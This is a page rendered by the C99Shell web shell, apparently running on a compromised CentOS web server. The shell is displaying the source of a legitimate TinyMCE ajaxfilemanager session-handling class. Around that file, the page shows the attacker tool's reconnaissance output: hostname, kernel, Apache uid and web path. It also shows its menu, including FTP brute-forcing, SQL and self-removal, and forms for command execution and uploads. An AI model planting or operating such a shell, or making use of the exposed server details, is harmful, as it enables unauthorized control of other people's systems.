!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/tinymce/plugins/ajaxfilemanager/inc/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.session.php (5.54 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
/**
     * this class provide a function like session handling engine
     * @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
     * @link www.phpletter.com
     * @since 22/May/2007
     *
     */

require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR "class.file.php");
class 
Session 
{
    var 
$lifeTime;
    var 
$fp null;
    var 
$dir null;
    var 
$mTime null;
    var 
$sessionDir null;
    var 
$sessionFile null;
    var 
$ext '.txt';
    var 
$gcCounter 5//call gc to delete expired session each ten request
        
var $gcCounterFileName 'gc_counter.ajax.php';
        var 
$gcCounterFile null;
        var 
$gcLogFileName 'gc_log.ajax.php';
        var 
$gcLogFile null;
        var 
$debug true//turn it on when you want to see gc log
        
        
    /**
     * constructor
     *
     */
    
function __construct()
    {
        
//check if the session folder read and writable
            
$dir = new file();
            if(!
file_exists(CONFIG_SYS_DIR_SESSION_PATH))
            {
               if(!
$dir->mkdir(CONFIG_SYS_DIR_SESSION_PATH))
               {
                  die(
'Unable to create session folder.');
               }
            }
            if(!
$dir->isReadable(CONFIG_SYS_DIR_SESSION_PATH))
            {
                die(
'Permission denied: ' CONFIG_SYS_DIR_SESSION_PATH " is not readable.");
            }            
            if(!
$dir->isWritable(CONFIG_SYS_DIR_SESSION_PATH))
            {
                die(
'Permission denied: ' CONFIG_SYS_DIR_SESSION_PATH " is not writable.");
            }
        
$this->dir backslashToSlash(addTrailingSlash(CONFIG_SYS_DIR_SESSION_PATH));
        
$this->lifeTime get_cfg_var("session.gc_maxlifetime");  
        
$this->gcCounterFile $this->dir $this->gcCounterFileName
        
$this->gcLogFile $this->dir  $this->gcLogFileName;
           
$this->sessionDir backslashToSlash($this->dir.session_id().DIRECTORY_SEPARATOR);
        
$this->init();        
    }
     
/**
     * constructor
     *
     */   
    
function Session() 
    {
            
$this->__construct();        
    }
    
/**
     * session init
     * @return boolean
     */
    
function init() 
    {

        
        
    }
    
    function 
gc()
    {
             
//init the counter file
        
$fp = @fopen($this->gcCounterFile'a+');
        if(
$fp)
        {
            
$count intval(fgets($fp999999)) + 1;
            if(
$count $this->gcCounter || rand(023) == date('h'))
            {
                
$this->_gc();
                
$count 0;
            }
            @
ftruncate($fp0);
            if(!@
fputs($fp$count))
            {
                die(
SESSION_COUNTER_FILE_WRITE_FAILED);
            }
            @
fclose($fp);
        }else 
        {
            die(
SESSION_COUNTER_FILE_CREATE_FAILED);
        }       
    }

    
/**
     * garbage collection function
     *
     */
    
function _gc() 
    {
            
//remove expired file from session folder
             
$dirHandler = @opendir($this->dir);
             
$output '';
             
$output .= "gc start at " date('d/M/Y H:i:s') . "\n";
             
$fo = new file();
            if(
$dirHandler)
            {
                while(
false !== ($file readdir($dirHandler)))
                {
                    if(
$file != '.' && $file != '..' && $file != $this->gcCounterFileName && $file != $this->gcLogFileName && $file != session_id() )
                    {                        
                        
$path=$this->dir.$file;
                        
$output .= $path ;
                        
//check if this is a expired session file
                        
if(filemtime($path) + $this->lifeTime time())
                        {                            
                            if(
$fo->delete($path))
                            {
                                
$output .= ' Deleted at ' date('d/M/Y H:i:s');
                            }else 
                            {
                                
$output .= " Failed at " date('d/M/Y H:i:s');
                            }                                                                            
                        }
                        
$output .= "\n";
                                            
                    }
                }
                if(
$this->debug)
                {
                    
$this->_log($output);
                }
                
                @
closedir($dirHandler);

            } 
            if(
CONFIG_SYS_DEMO_ENABLE)
            {
                
//remove expired files from uploaded folder
                 
$dirHandler = @opendir(CONFIG_SYS_ROOT_PATH);
                 
$output '';
                 
$output .= "gc start at " date('d/M/Y H:i:s') . "\n";
                 
$fo = new file();
                if(
$dirHandler)
                {
                    while(
false !== ($file readdir($dirHandler)))
                    {
                        if(
$file != '.' && $file != '..')
                        {                        
                            
$path=CONFIG_SYS_ROOT_PATH.$file;
                            
$output .= $path ;
                            
//check if this is a expired session file
                            
if(filemtime($path) + $this->lifeTime time())
                            {                            
                                if(
$fo->delete($path))
                                {
                                    
$output .= ' Deleted at ' date('d/M/Y H:i:s');
                                }else 
                                {
                                    
$output .= " Failed at " date('d/M/Y H:i:s');
                                }                                                                            
                            }
                            
$output .= "\n";
                                                
                        }
                    }
                    if(
$this->debug)
                    {
                        
$this->_log($output);
                    }
                    
                    @
closedir($dirHandler);
    
                }                    
            }
            
    }
    
/**
     * log action taken by the gc
     *
     * @param unknown_type $msg
     */
    
function _log($msg)
    {
        
$msg "<?php die(); ?>\n" $msg;
        
$fp = @fopen($this->gcLogFile'w+');
        if(
$fp)
        {
            @
ftruncate($fp0);
            !@
fputs($fp$msg);
            @
fclose($fp);
        }
    }
    
    
/**
     * get the current session directory
     *
     * @return string return empty if failed
     */
    
function getSessionDir()
    {
        if(!
file_exists($this->sessionDir) && !is_dir($this->sessionDir))
        {
            
$dir = new file();
            if(!
$dir->mkdir($this->sessionDir))
            {
                return 
'';
            }
        }else 
        {
             if(!@
is_dir($this->sessionDir))
            {
                return 
'';
            }           
        }
        return 
$this->sessionDir;
    }
    

    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0044 ]--